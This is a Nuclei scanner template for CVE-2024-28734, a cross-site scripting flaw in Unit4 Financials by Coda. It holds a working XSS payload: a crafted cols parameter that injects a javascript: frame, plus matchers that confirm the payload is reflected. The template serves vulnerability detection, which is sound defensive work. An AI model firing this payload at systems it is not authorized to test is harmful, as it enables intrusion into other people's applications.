id: CVE-2024-28734

info:
  name: Coda v.2024Q1 - Cross-Site Scripting
  author: Kazgangap
  severity: medium
  description: |
    Cross Site Scripting vulnerability in Unit4 Financials by Coda v.2024Q1 allows a remote attacker to escalate privileges via a crafted script to the cols parameter.
  reference:
    - https://packetstormsecurity.com/files/177619/Financials-By-Coda-Cross-Site-Scripting.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28734
    - http://financials.com
    - http://unit4.com
  classification:
    epss-score: 0.00045
    epss-percentile: 0.12994
  metadata:
    max-request: 1
  tags: cve,cve2024,coda,xss

http:
  - raw:
      - |
        GET /coda/frameset?cols="><frame%20src="javascript:alert(document.domain)"> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<frameset cols=""><frame src="javascript:alert(document.domain)">'

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a004630440220639152ac7101721af13e0f678be3f3ff7cf9b440afa2e13e5691cc2c62e3ccdf02207da7b95d3c2610f4b7d80e42eb444efd95d5f30f992d0335dfac80d9f72719c3:922c64590222798bb761d5b6d8e72950